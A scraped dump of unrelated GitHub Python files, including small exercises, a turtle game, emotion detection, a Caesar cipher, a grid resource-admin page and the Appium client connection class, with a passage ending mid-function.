new_turtle.color(colors[i])\n y_coordinate += 35\n all_turtles.append(new_turtle)\n\nif user_bet:\n is_race_on = True\n\nwhile is_race_on:\n for turtle in all_turtles:\n if turtle.xcor() > 230:\n is_race_on = False\n winning_color = turtle.pencolor()\n if winning_color == user_bet:\n print(f\"Congratulations! You won! The {winning_color} turtle is winner.\")\n else:\n print(f\"Unfortunately you lost! The {winning_color} turtle is winner.\")\n\n random_distance = random.randint(0, 10)\n turtle.forward(random_distance)\n\nscreen.exitonclick()\n","repo_name":"Eshgin1337/Python_GUI_and_TEXT_BASED_PROJECTS","sub_path":"Turtle_race/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"40871624929","text":"# Escreva um programa que peça o tipo ea quantidade de carne comprada pelo usuário e gere um cupom fiscal, contendo as informações da compra:tipo e quantidade de carne, preço total, tipo de pagamento, valor do desconto e valor a pagar.\n\ndef valorTotal(tipo, qtd):\n res = 0\n if (qtd <= 5 and qtd > 0):\n if (tipo == 1):\n res = round(qtd * 4.90, 2)\n elif (tipo == 2):\n res = round(qtd * 5.90, 2)\n elif (tipo == 3):\n res = round(qtd * 6.90, 2)\n else:\n res = 'Tipó Inválido'\n elif (qtd > 5):\n if (tipo == 1):\n res = round(qtd * 5.80, 2)\n elif (tipo == 2):\n res = round(qtd * 6.80, 2)\n elif (tipo == 3):\n res = round(qtd * 7.80, 2)\n else:\n res = 'Tipo Inválido'\n return res\n\ndef desconto(mtdPgt, valor):\n mtdPgt = mtdPgt.upper()\n if (mtdPgt == 'CARTAO'):\n desconto = valor * 0.05\n else:\n desconto = 0\n return desconto\n\ndef gerarNota(tipo, qtd, valorTotal, mtdPgt, desconto):\n nf = open('nf.txt', 'w')\n vr = round(valorTotal - desconto, 2)\n\n conteudo = list()\n conteudo.append('Hipermercado Tabajara \\n')\n conteudo.append('\\n')\n conteudo.append('Produto Qtd Valor \\n')\n conteudo.append(f'{tipo} {qtd} {valorTotal} \\n')\n conteudo.append('------------------------------------------- \\n')\n conteudo.append(f'Método de Pagamento: {mtdPgt} \\n')\n conteudo.append(f'Valor do Desconto: R$ {desconto} \\n')\n conteudo.append('\\n')\n conteudo.append(f'Valor a receber: R$ {vr} \\n')\n\n nf.writelines(conteudo)\n\ndef carne(n):\n if (n == 1):\n res = 'Filé Duplo'\n elif (n == 2):\n res = 'Alcatra'\n elif (n == 3):\n res = 'Picanha'\n else:\n res = 'Produto não encontrado'\n return res\n\ntipoCarne = int(input('Carne comprada: \\n 1 - Filé Duplo \\n 2- Alcatra \\n 3 - Picanha: '))\nqtd = float(input('Informe a quantidade comprada: '))\nmtdPgt = input('Forma de pagamento: ')\n\nvlrTotal = valorTotal(tipoCarne, qtd)\ndesc = desconto(mtdPgt, vlrTotal)\ngerarNota(carne(tipoCarne), qtd, vlrTotal, mtdPgt, desc)","repo_name":"HugoLeda/ApostilaExercicios","sub_path":"Estrutura de Decisao/28.py","file_name":"28.py","file_ext":"py","file_size_in_byte":2033,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"70639928201","text":"n = int(input())\n\na = list(map(int, input().split()))\ndp = [0 for i in range(n)] #수열의 증가 횟수를 저장하는 배열\n\nfor i in range(n):\n for j in range(i):\n if a[i] > a[j] and dp[i] < dp [j]: \n #어떤 식으로든 수열이 증가하고 있다는 의미\n dp=[i] = dp[j] #이전까지 증가한 횟수를 넣어주고\n dp[i] += 1 #수열의 증가 횟수를 1 올려줍니다.\nprint(max(dp))\n","repo_name":"hye-on/study","sub_path":"주민지/11053 가장 긴 증가하는 부분 수열.py","file_name":"11053 가장 긴 증가하는 부분 수열.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"74775248521","text":"import re\nimport streamlit as st\n\nform = st.form(key=\"submit-form\")\ninput_text = re.sub(r\"수취인명|연락처.|정보|배송지|국내배송|수령자명|수령자정보수정|..전화|주소|수정|관리자 메모|배송메시지|배송.?.\", \",\", form.text_input(\"네이버, 카페24 배송주소를 복사에서 입력 하세요\"))\n\ninput_text = input_text.replace('\\t\\t','').replace('\\t','\\n').replace('\\n,\\n','\\n').replace(',','').replace('\\n \\n','\\n').replace('--\\n','')\ngenerate = form.form_submit_button(\"Generate\")\n\nst.text(input_text)\n","repo_name":"yoonki/address","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"10904941458","text":"class Start:\n def __init__(self, battery_size=0, initial_energy=0, capacity=0, used_capacity=0):\n # 电池大小,初始电量,车辆总容量,已用容量\n self.battery_size = battery_size\n self.initial_energy = initial_energy\n self.capacity = capacity\n self.used_capacity = used_capacity\n self.name = \"Start\"\n\n\nclass Pick:\n def __init__(self, pickup_deadline, capacity_required, request_num, car_number=-1, time=0, distance=0, energy=0,\n Hq=0, constant=0):\n # 取包裹最晚时间,货物大小,货物起点到终点的时间,货物起点到终点的距离,货物起点到终点消耗的能量,是否有其他车将在下一站取得该包裹,常量0\n self.pickup_deadline = pickup_deadline\n self.capacity_required = capacity_required\n self.time = time\n self.distance = distance\n self.energy = energy\n self.Hq = Hq\n self.constant = constant\n self.request_num = request_num\n self.car_number = car_number\n self.name = \"Pick\"\n\n\nclass Delivery:\n def __init__(self, delivery_deadline, capacity_required, request_number):\n # 送货期限,货物大小的相反数\n self.delivery_deadline = delivery_deadline\n self.capacity_required = capacity_required\n self.request_number = request_number\n self.name = \"Delivery\"\n\n\nclass Depot:\n def __init__(self, R):\n \"\"\"\n :param: R denotes the charging rate\n \"\"\"\n self.R = R\n self.name = \"Depot\"\n\n\nclass Destination:\n def __init__(self):\n self.a = None\n self.name = \"Destination\"\n\n\nclass Commom:\n def __init__(self):\n self.a = None\n self.name = \"Common\"\n\n\nclass Road:\n def __init__(self, to, length, time, energy):\n # 连接的另一个端点 道路长度 车辆走过这段路所用的时间 车辆走过这段路所消耗的电量\n self.to = to # serial_number\n self.length = length\n self.time = time\n self.energy = energy\n\n\nclass Node:\n def __init__(self, serial_number, coordinate, type):\n # 节点序号 坐标 节点类型\n self.serial_number = serial_number # node number\n self.coordinate = coordinate\n self.type = type # 类的对象\n self.edges = [] # a list of Road object\n\n def add_road(self, to, length, time, energy):\n road = Road(to, length, time, energy)\n self.edges.append(road)\n\n\nclass Request:\n def __init__(self, number, pick, delivery, deadline, capacity_required):\n self.number = number\n self.pick = pick\n self.delivery = delivery\n self.deadline = deadline\n self.capacity_required = capacity_required\n self.isload = False\n\n\nclass Car:\n def __init__(self, number, cur_location, battery_size, capacity):\n self.number = number\n self.cur_location = cur_location\n self.battery_size = battery_size\n self.capacity = capacity\n self.load_request = []\n self.tour_len = 0\n self.cur_energy = battery_size\n self.used_capacity = 0\n self.finished_request = []\n self.tour_time = []\n self.timeout = 0\n self.outofenergy = 0\n","repo_name":"obitolyz/Online-Vehicle-Routing-DRL","sub_path":"NodeAndEdge.py","file_name":"NodeAndEdge.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"63"} +{"seq_id":"73606542280","text":"import os\nfrom binascii import hexlify\n\nimport shared.returnvalues as returnvalues\nfrom shared.base import sandbox_resource\nfrom shared.functional import validate_input_and_cert\nfrom shared.html import html_post_helper, themed_styles\nfrom shared.init import initialize_main_variables, find_entry\nfrom shared.refunctions import get_re_dict, list_runtime_environments\nfrom shared.vgrid import res_allowed_vgrids, vgrid_list_vgrids\nfrom shared.vgridaccess import get_resource_map, CONF, OWNERS, RESID\n\n\ndef signature():\n \"\"\"Signature of the main function\"\"\"\n\n defaults = {'unique_resource_name': []}\n return ['html_form', defaults]\n\n\ndef display_resource(\n resourcename,\n raw_conf,\n resource_config,\n owners,\n re_list,\n configuration,\n ):\n \"\"\"Format and print the information and actions for a\n given resource.\n \"\"\"\n\n exe_units = []\n store_units = []\n frontend = None\n hosturl = None\n html = ''\n row_name = ('even_row', 'odd_row')\n\n if resource_config:\n if resource_config.has_key('EXECONFIG'):\n for exe in resource_config['EXECONFIG']:\n exe_units.append(exe['name'])\n if resource_config.has_key('STORECONFIG'):\n for store in resource_config['STORECONFIG']:\n store_units.append(store['name'])\n if resource_config.has_key('FRONTENDNODE'):\n frontend = resource_config['FRONTENDNODE']\n if resource_config.has_key('HOSTURL'):\n hosturl = resource_config['HOSTURL']\n\n # Try to split resourcename first to support resources where name\n # doesn't match hosturl.\n\n sep = '.'\n index = resourcename.rfind(sep)\n if index:\n hosturl = resourcename[:index]\n identifier = resourcename[index + 1:]\n elif hosturl:\n identifier = resourcename.replace(hosturl + sep, '')\n else:\n configuration.logger.warning(\n 'failed to find host identifier from unique resource name!')\n (hosturl, identifier) = (None, 0)\n\n html += '' % resourcename\n html += '

    %s

    \\n' % resourcename\n html += '

    Configuration

    '\n html += '''\nUse the \nediting interface\n\nor make any changes manually in the text box below.
    \n\nResource configuration docs\n\n''' % (hosturl, identifier) \n html += ''\n html += '''\n
    \n\n\n\n
    \n\n
    \n\n\n----------\n\n'''\\\n % resourcename\n\n html += '''\n
    \n
    \n

    \n\n\n'''\n\n if not frontend:\n html += '\\n'\n else:\n html += '' % frontend\n\n for action in ['restart', 'status', 'stop', 'clean']:\n if action == 'restart':\n action_str = '(Re)Start'\n else:\n action_str = action.capitalize()\n html += \\\n '''\n '''\\\n % (action, resourcename, action_str)\n html += ''\n\n html += '\\n'\n\n if not exe_units:\n html += '\\n'\n else:\n html += ''\n for action in ['restart', 'status', 'stop', 'clean']:\n html += \\\n '''\n '''\\\n % action_str\n html += ''\n\n row_number = 1\n for unit in exe_units:\n row_class = row_name[row_number % 2]\n html += '' % (row_class, unit)\n for action in ['restart', 'status', 'stop', 'clean']:\n if action == 'restart':\n action_str = '(Re)Start'\n else:\n action_str = action.capitalize()\n html += \\\n '''\n '''\\\n % (action, resourcename, unit, action_str)\n html += ''\n row_number += 1\n\n html += '\\n'\n\n if not store_units:\n html += '\\n'\n else:\n html += ''\n for action in ['restart', 'status', 'stop', 'clean']:\n html += \\\n '''\n '''\\\n % action_str\n html += ''\n\n row_number = 1\n for unit in store_units:\n row_class = row_name[row_number % 2]\n html += '' % (row_class, unit)\n for action in ['restart', 'status', 'stop', 'clean']:\n if action == 'restart':\n action_str = '(Re)Start'\n else:\n action_str = action.capitalize()\n html += \\\n '''\n '''\\\n % (action, resourcename, unit, action_str)\n html += ''\n row_number += 1\n\n html += '
    Front End
    Not specified
    %s\n
    \n \n \n
    \n
    Execution Units
    None specified
    ALL UNITS\n
    \n \n \n '''\\\n % (action, resourcename)\n if action == 'restart':\n action_str = '(Re)Start'\n else:\n action_str = action.capitalize()\n html += \\\n '''\n \n
    \n
    %s\n
    \n \n \n \n
    \n
    Storage Units
    None specified
    ALL UNITS\n
    \n \n \n '''\\\n % (action, resourcename)\n if action == 'restart':\n action_str = '(Re)Start'\n else:\n action_str = action.capitalize()\n html += \\\n '''\n \n
    \n
    %s\n
    \n \n \n \n
    \n

    '\n\n html += '

    Owners

    '\n html += \\\n '''\nOwners are specified with the Distinguished Name (DN)\nfrom the certificate.
    \n\n'''\n\n html += \\\n '''
    \n
    \n\n\n\n\n
    \n

    \n\n'''\\\n % resourcename\n\n for owner_id in owners:\n html += \\\n '''\n'''\\\n % (resourcename, owner_id)\n html += ''\n html += '
    \n
    \n\n\n\n\n
    \n
    ' + owner_id + '
    '\n\n # create html to request vgrid resource access\n\n html += '

    %s access

    ' % configuration.site_vgrid_label\n\n html += \\\n \"\"\"Request resource access to additional %ss.\n \n
    \n
    \n \n \n \"\"\"\n html += '''  Message to owners:\n\n\n'''\n html += '

    '\n\n # create html to select and execute a runtime environment testprocedure\n\n html += '

    Runtime environments

    '\n\n html += \\\n \"\"\"Verify that resource supports the selected runtime environment.\n \n
    \n
    \n \n \"\"\"\n html += ''\n html += '

    '\n\n # create html to select and call script to display testprocedure history\n\n verify_history = \\\n \"\"\"\nShow testprocedure history for the selected runtime environment and the\nresource with its current configuration.\n \n
    \n
    \n \n \"\"\"\n verify_history += ''\n verify_history += '

    '\n\n # TODO: reimplement showresupporthistory in new style and re-enable here\n\n #html += verify_history\n\n return html\n\n\ndef main(client_id, user_arguments_dict):\n \"\"\"Main function used by front end\"\"\"\n\n (configuration, logger, output_objects, op_name) = \\\n initialize_main_variables(client_id, op_header=False)\n defaults = signature()[1]\n (validate_status, accepted) = validate_input_and_cert(\n user_arguments_dict,\n defaults,\n output_objects,\n client_id,\n configuration,\n allow_rejects=False,\n )\n if not validate_status:\n return (accepted, returnvalues.CLIENT_ERROR)\n\n unique_res_names = accepted['unique_resource_name']\n\n (re_stat, re_list) = list_runtime_environments(configuration)\n if not re_stat:\n logger.warning('Failed to load list of runtime environments')\n output_objects.append({'object_type': 'error_text', 'text'\n : 'Error getting list of runtime environments'\n })\n return (output_objects, returnvalues.SYSTEM_ERROR)\n\n title_entry = find_entry(output_objects, 'title')\n title_entry['text'] = 'Resource Management'\n title_entry['style'] = themed_styles(configuration)\n title_entry['javascript'] = '''\n\n\n\n\n\n'''\n output_objects.append({'object_type': 'header', 'text'\n : ' Resource Management'})\n\n output_objects.append({'object_type': 'sectionheader', 'text'\n : '%s Resources Owned' % configuration.short_title})\n quick_links = [{'object_type': 'text', 'text'\n : 'Quick links to all your resources and individual management'}]\n quick_links.append({'object_type': 'html_form', \n 'text': '

    '})\n quick_links.append({'object_type': 'link', \n 'destination': \n \"javascript:toggleHidden('.quicklinks');\",\n 'class': 'removeitemlink',\n 'title': 'Toggle view',\n 'text': 'Hide quick links'})\n quick_links.append({'object_type': 'text', 'text': ''}) \n\n quick_res = {}\n quick_links_index = len(output_objects)\n output_objects.append({'object_type': 'sectionheader', 'text': ''})\n\n output_objects.append({'object_type': 'html_form',\n 'text':'''\n
    \n
    \n \n
    \n''' })\n\n owned = 0\n res_map = get_resource_map(configuration)\n for unique_resource_name in res_map.keys():\n if sandbox_resource(unique_resource_name):\n continue\n owner_list = res_map[unique_resource_name][OWNERS]\n resource_config = res_map[unique_resource_name][CONF]\n visible_res_name = res_map[unique_resource_name][RESID]\n if client_id in owner_list:\n quick_res[unique_resource_name] = \\\n {'object_type': 'multilinkline',\n 'links': [\n {'object_type': 'link',\n 'destination': '?unique_resource_name=%s' % \\\n unique_resource_name,\n 'class': 'adminlink',\n 'title': 'Manage %s' % unique_resource_name,\n 'text': 'Manage %s' % unique_resource_name,\n },\n {'object_type': 'link',\n 'destination': 'viewres.py?unique_resource_name=%s' % \\\n visible_res_name,\n 'class': 'infolink',\n 'title': 'View %s' % unique_resource_name,\n 'text': 'View %s' % unique_resource_name,\n }\n ]\n }\n\n\n if unique_resource_name in unique_res_names:\n raw_conf_file = os.path.join(configuration.resource_home,\n unique_resource_name,\n 'config.MiG')\n try:\n filehandle = open(raw_conf_file, 'r')\n raw_conf = filehandle.readlines()\n filehandle.close()\n except:\n raw_conf = ['']\n\n res_html = display_resource(\n unique_resource_name,\n raw_conf,\n resource_config,\n owner_list,\n re_list,\n configuration,\n )\n output_objects.append({'object_type': 'html_form',\n 'text': res_html})\n\n\n output_objects.append({'object_type': 'sectionheader', 'text':\n 'Retire resource'})\n output_objects.append({'object_type': 'text', 'text': '''\nUse the link below to permanently remove the resource from the grid after\nstopping all units and the front end.\n'''\n })\n js_name = 'delres%s' % hexlify(unique_resource_name)\n helper = html_post_helper(js_name, 'delres.py',\n {'unique_resource_name':\n unique_resource_name})\n output_objects.append({'object_type': 'html_form', 'text': helper})\n output_objects.append(\n {'object_type': 'link', 'destination':\n \"javascript: confirmDialog(%s, '%s');\" % \\\n (js_name, 'Really delete %s? (fails if it is busy)' % \\\n unique_resource_name),\n 'class': 'removelink',\n 'title': 'Delete %s' % unique_resource_name, \n 'text': 'Delete %s' % unique_resource_name}\n )\n owned += 1\n\n if owned == 0:\n output_objects.append({'object_type': 'text', 'text'\n : 'You are not listed as owner of any resources!'\n })\n else:\n sorted_links = quick_res.items()\n sorted_links.sort()\n for (res_id, link_obj) in sorted_links:\n quick_links.append(link_obj)\n\n # add new line\n\n quick_links.append({'object_type': 'text', 'text': ''}) \n\n quick_links.append({'object_type': 'html_form', \n 'text': '
    '})\n quick_links.append({'object_type': 'link', \n 'destination': \n \"javascript:toggleHidden('.quicklinks');\",\n 'class': 'additemlink',\n 'title': 'Toggle view',\n 'text': 'Show quick links'})\n quick_links.append({'object_type': 'html_form', \n 'text': '
    ' })\n\n output_objects = output_objects[:quick_links_index]\\\n + quick_links + output_objects[quick_links_index:]\n\n return (output_objects, returnvalues.OK)\n\n\n","repo_name":"heromod/migrid","sub_path":"mig/shared/functionality/resadmin.py","file_name":"resadmin.py","file_ext":"py","file_size_in_byte":19440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"35668581117","text":"#!/usr/local/bin/python3\n\nimport argparse\n\ndef encrypt(text,s):\n result = \"\"\n # transverse the plain text\n for i in range(len(text)):\n char = text[i]\n # Encrypt uppercase characters in plain text\n if (char.isupper()):\n result += chr((ord(char) + s-65) % 26 + 65)\n # Encrypt lowercase characters in plain text\n elif (char.islower()):\n result += chr((ord(char) + s - 97) % 26 + 97)\n else:\n result += char\n return result\n\nparser = argparse.ArgumentParser(description='Encrypt and decrypt messages!')\nparser.add_argument('direction')\nparser.add_argument('message')\nparser.add_argument('offset', type=int)\n\nargs = parser.parse_args()\n\nif args.direction=='encrypt':\n result = encrypt(args.message, args.offset)\nelif args.direction=='decrypt':\n result = encrypt(args.message, -1*args.offset)\n \nprint(\"Message: \", args.message)\nprint(\"Offset : \", args.offset)\nprint(\"Result : \", result)\n\n","repo_name":"charltones/cipher","sub_path":"caesar-cipher.py","file_name":"caesar-cipher.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"33968210680","text":"from src.building import *\nfrom src.headers import *\ntown_hall = [list(\"TTT\"),\n list(\"T T\"),\n list(\"T T\"),\n list(\"TTT\")]\n\nclass townhall(Building):\n\n def __init__(self, x, y):\n Building.__init__(self, x, y, T_HITS, 0)\n self.__color = Fore.GREEN\n\n def townhall_show(self, color_grid, grid):\n x = self.getx()\n y = self.gety()\n\n color_char = 'w'\n\n if self._hitpoints <= 10 and self._hitpoints > 6:\n self.__color = Fore.GREEN\n color_char = 'g'\n\n if self._hitpoints <= 6 and self._hitpoints > 3:\n self.__color = Fore.YELLOW\n color_char = 'y'\n\n if self._hitpoints <= 3 and self._hitpoints > 0:\n self.__color = Fore.RED\n color_char = 'r'\n\n if (self._hitpoints != 0):\n for i in range(y, y+4):\n for j in range(x, x+3):\n grid[i][j] = town_hall[i-y][j-x]\n color_grid[i][j] = color_char\n\n else:\n for i in range(y, y+4):\n for j in range(x, x+3):\n grid[i][j] = \".\"\n","repo_name":"poorvapisal/CoC-game","sub_path":"src/townhall.py","file_name":"townhall.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"42489366717","text":"def getSorted(l):\r\n i = 1\r\n while i < len(l):\r\n if l[i] < l[i-1]:\r\n return False\r\n i = i+1\r\n return True\r\n\r\nl = []\r\nn = int(input(\"Enter the number of element in list: \"))\r\nfor i in range(0, n):\r\n ele = int(input())\r\n l.append(ele)\r\n\r\nif getSorted(l):\r\n print(\"Yes\")\r\n\r\nelse:\r\n print(\"No\")","repo_name":"Sharad2001/Python-basic-practice","sub_path":"sorted_list.py","file_name":"sorted_list.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"41277572751","text":"import cv2\nimport numpy as np\nfrom tensorflow.keras.models import load_model\nimport face_recognition\n\n# Load pre-trained emotion recognition model\nemotion_model = load_model('emotion_model.h5')\n\n# Define emotion labels\nemotion_labels = ['happy', 'sad', 'angry', 'disgusted', 'surprised', 'fearful', 'neutral']\n\ndef load_models():\n print(\"Models loaded successfully\")\n\ndef initialize_webcam():\n video_capture = cv2.VideoCapture(1)\n return video_capture\n\ndef detect_faces_and_expressions(frame):\n # Detect faces\n face_locations = face_recognition.face_locations(frame)\n\n detections = []\n for face_location in face_locations:\n top, right, bottom, left = face_location\n face_image = frame[top:bottom, left:right]\n face_image = cv2.resize(face_image, (64, 64))\n face_image = cv2.cvtColor(face_image, cv2.COLOR_BGR2GRAY)\n face_image = np.expand_dims(face_image, 0)\n face_image = np.expand_dims(face_image, -1)\n\n # Predict emotion\n emotion_prediction = emotion_model.predict(face_image)\n emotion_label = emotion_labels[np.argmax(emotion_prediction)]\n detections.append(emotion_label)\n\n return detections\n\ndef display_emotion_counts(detections):\n emotion_counts = {label: 0 for label in emotion_labels}\n for detection in detections:\n emotion_counts[detection] += 1\n\n print(emotion_counts)\n\ndef run_emotion_detection():\n load_models()\n video_capture = initialize_webcam()\n\n while True:\n ret, frame = video_capture.read()\n\n frame = cv2.resize(frame, (700, 400))\n \n detections = detect_faces_and_expressions(frame)\n display_emotion_counts(detections)\n \n cv2.imshow('Video', frame)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n video_capture.release()\n cv2.destroyAllWindows()\n\nrun_emotion_detection()","repo_name":"Akshaybhat5/smart-mirror","sub_path":"Project Smart Mirror/emotion_detection.py","file_name":"emotion_detection.py","file_ext":"py","file_size_in_byte":1884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"30751823327","text":"#!/usr/bin/env python\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport uuid\nfrom typing import TYPE_CHECKING, Any, Dict, Optional, Union\n\nimport urllib3\nfrom selenium.webdriver.remote.remote_connection import RemoteConnection\n\nfrom appium.common.helper import library_version\n\nif TYPE_CHECKING:\n from urllib.parse import ParseResult\n\n\nPREFIX_HEADER = 'appium/'\n\n\nclass AppiumConnection(RemoteConnection):\n _proxy_url: Optional[str]\n\n def __init__(\n self,\n remote_server_addr: str,\n keep_alive: bool = False,\n ignore_proxy: Optional[bool] = False,\n init_args_for_pool_manager: Union[Dict[str, Any], None] = None,\n ):\n # Need to call before super().__init__ in order to pass arguments for the pool manager in the super.\n self._init_args_for_pool_manager = init_args_for_pool_manager or {}\n\n super().__init__(remote_server_addr, keep_alive=keep_alive, ignore_proxy=ignore_proxy)\n\n def _get_connection_manager(self) -> Union[urllib3.PoolManager, urllib3.ProxyManager]:\n # https://github.com/SeleniumHQ/selenium/blob/0e0194b0e52a34e7df4b841f1ed74506beea5c3e/py/selenium/webdriver/remote/remote_connection.py#L134\n pool_manager_init_args = {'timeout': self.get_timeout()}\n\n if self._ca_certs:\n pool_manager_init_args['cert_reqs'] = 'CERT_REQUIRED'\n pool_manager_init_args['ca_certs'] = self._ca_certs\n else:\n # This line is necessary to disable certificate verification\n pool_manager_init_args['cert_reqs'] = 'CERT_NONE'\n\n pool_manager_init_args.update(self._init_args_for_pool_manager)\n\n if self._proxy_url:\n if self._proxy_url.lower().startswith('sock'):\n from urllib3.contrib.socks import SOCKSProxyManager\n\n return SOCKSProxyManager(self._proxy_url, **pool_manager_init_args)\n if self._identify_http_proxy_auth():\n self._proxy_url, self._basic_proxy_auth = self._separate_http_proxy_auth()\n pool_manager_init_args['proxy_headers'] = urllib3.make_headers(proxy_basic_auth=self._basic_proxy_auth)\n return urllib3.ProxyManager(self._proxy_url, **pool_manager_init_args)\n\n return urllib3.PoolManager(**pool_manager_init_args)\n\n @classmethod\n def get_remote_connection_headers(cls, parsed_url: 'ParseResult', keep_alive: bool = True) -> Dict[str, Any]:\n \"\"\"Override get_remote_connection_headers in RemoteConnection\"\"\"\n headers = RemoteConnection.get_remote_connection_headers(parsed_url, keep_alive=keep_alive)\n # e.g. appium/0.49 (selenium/3.141.0 (python linux))\n headers['User-Agent'] = f'{PREFIX_HEADER}{library_version()} ({headers[\"User-Agent\"]})'\n if parsed_url.path.endswith('/session'):\n # https://github.com/appium/appium-base-driver/pull/400\n headers['X-Idempotency-Key'] = str(uuid.uuid4())\n\n return headers\n","repo_name":"appium/python-client","sub_path":"appium/webdriver/appium_connection.py","file_name":"appium_connection.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","stars":1516,"dataset":"github-code","pt":"63"} +{"seq_id":"40844657656","text":"# Notes from week 7 (Module 7)\r\n\r\n# OOP\r\n\r\n# Class example\r\nclass Player():\r\n min_health = 1000\r\n \r\n # dunder method\r\n def __init__(self, name, health, hunger):\r\n self.name = name\r\n self.health = health\r\n self.setHunger(hunger)\r\n \r\n # mutator example \r\n def setHunger(self, hunger):\r\n self.hunger = hunger\r\n \r\n# Class testing\r\nme = Player(\"bob\", \"good\", 10)\r\nPlayer.min_health = 500\r\nprint(me.hunger)\r\nprint(me.min_health)","repo_name":"RickSlick3/PythonProgrammingClassNotes","sub_path":"ClassNotes/Week7Notes.py","file_name":"Week7Notes.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"17363045094","text":"import os\nimport re\nimport traceback\n\nfrom bs4 import BeautifulSoup\n\n\ndef iter_files(path):\n \"\"\"Walk through all files located under a root path.\"\"\"\n if os.path.isfile(path):\n yield path\n elif os.path.isdir(path):\n for dir_path, _, file_names in os.walk(path):\n for f in file_names:\n yield os.path.join(dir_path, f)\n else:\n raise RuntimeError('Path %s is invalid' % path)\n\n\ndef format_row(columns):\n name = columns[0].replace('\\n', '').strip()\n appendix = re.sub('\\s', '', columns[1])\n num1 = columns[2].replace('\\n', '').strip()\n num2 = columns[3].replace('\\n', '').strip()\n\n if appendix == '-' or appendix == '—':\n appendix = ''\n\n if (name.endswith(':') or name.endswith(':')):\n if num1 in ['-', '', '—', '--'] and num2 in ['-', '', '—', '--']:\n num1 = None\n num2 = None\n else:\n if num1 in ['-', '', '—', '--']:\n num1 = '0.00'\n if num2 in ['-', '', '—', '--']:\n num2 = '0.00'\n return {\"名称\": name,\n \"附注\": appendix,\n \"年初至报告期末\": num1,\n \"上年年初至报告期末\": num2\n }\n\n\ndef find_unit(text):\n text = re.sub('\\s', '', text)\n units = [\"单位:元\", \"单位:元\", \"单位:美元\", \"单位:美元\", \"单位:港元\", \"单位:港元\",\n \"单位:欧元\", \"单位:欧元\", \"单位:日元\", \"单位:日元\", \"单位:英镑\", \"单位:英镑\",\n \"单位:加元\", \"单位:加元\", \"单位:澳元\", \"单位:澳元\", \"单位:卢布\", \"单位:卢布\",\n \"单位:韩元\", \"单位:韩元\"]\n for unit in units:\n if unit in text:\n return unit[3:]\n return ''\n\n\ndef find_name(node):\n text_num = 3\n unit = ''\n names = ['母公司资产负债表', '合并资产负债表', '母公司利润表', '合并利润表', '母公司现金流量表', '合并现金流量表']\n for element in node.previous_elements:\n if text_num < 0:\n return None\n if isinstance(element, str):\n element = element.replace('\\n', '')\n if element == '':\n continue\n if unit == '':\n unit = find_unit(element)\n for name in names:\n if name in element:\n if \"母公司\" in name:\n return unit, name[3:] + \"(母公司)\"\n else:\n return unit, name[2:] + \"(合并)\"\n if \"利润表\" in element:\n return unit, \"利润表(合并)\"\n if \"流量表\" in element:\n return unit, \"流量表(合并)\"\n text_num -= 1\n\n\ndef get_flags(name):\n if \"负债表\" in name:\n tails = ['负债和所有者权益']\n elif \"利润表\" in name:\n tails = ['稀释每股收益']\n else:\n tails = ['等价物余额', '期末现金']\n\n return tails\n\n\ndef check_name(table, index):\n tmp = ' '.join([each[\"名称\"] for each in table])\n\n # 资产负债表(合并)\n cnt = 0\n flags = ['归属于母公司所有者权益合计', '少数股东权益']\n for flag in flags:\n if flag in tmp:\n cnt += 1\n if cnt >= 1:\n return \"资产负债表(合并)\"\n\n flags = ['固定资产', '应付债券', '短期借款', '应付职工薪酬', '资本公积', '递延所得税资产', '递延所得税负债', '应交税费', '盈余公积',\n '资产总计', '长期借款', '负债合计', '可供出售金融资产', '无形资产']\n cnt = 0\n for flag in flags:\n if flag in tmp:\n cnt += 1\n if cnt >= 3:\n return \"资产负债表(母公司)\"\n\n names = ['资产负债表(合并)', '资产负债表(母公司)', '利润表(合并)', '利润表(母公司)', '现金流量表(合并)', '现金流量表(母公司)']\n return names[index]\n\n\ndef extract(table, start=1):\n rows = table.find_all('tr')\n table = []\n for row in rows[start:]:\n columns = row.find_all('th') + row.find_all('td')\n columns = [each.text for each in columns]\n\n if len(columns) > 4:\n columns = columns[:4]\n elif len(columns) < 4:\n for _ in range(4 - len(columns)):\n columns.append('')\n table.append(format_row(columns))\n\n # 确定是合格的表格\n global names_str\n cnt = 0\n names = []\n for each in table:\n names.append(each['名称'])\n if each['名称'] in names_str:\n cnt += 1\n if cnt < int(0.8 * len(table)):\n table = []\n\n return table\n\n\ndef end(name, tails, head):\n for flag in tails:\n if flag not in name:\n if start(head):\n return True\n return False\n return True\n\n\ndef start(head):\n if head:\n title = re.sub('\\s', '', head.text)\n if '项目附注' in title:\n info = find_name(head)\n if info:\n return info\n return None\n\n\ndef 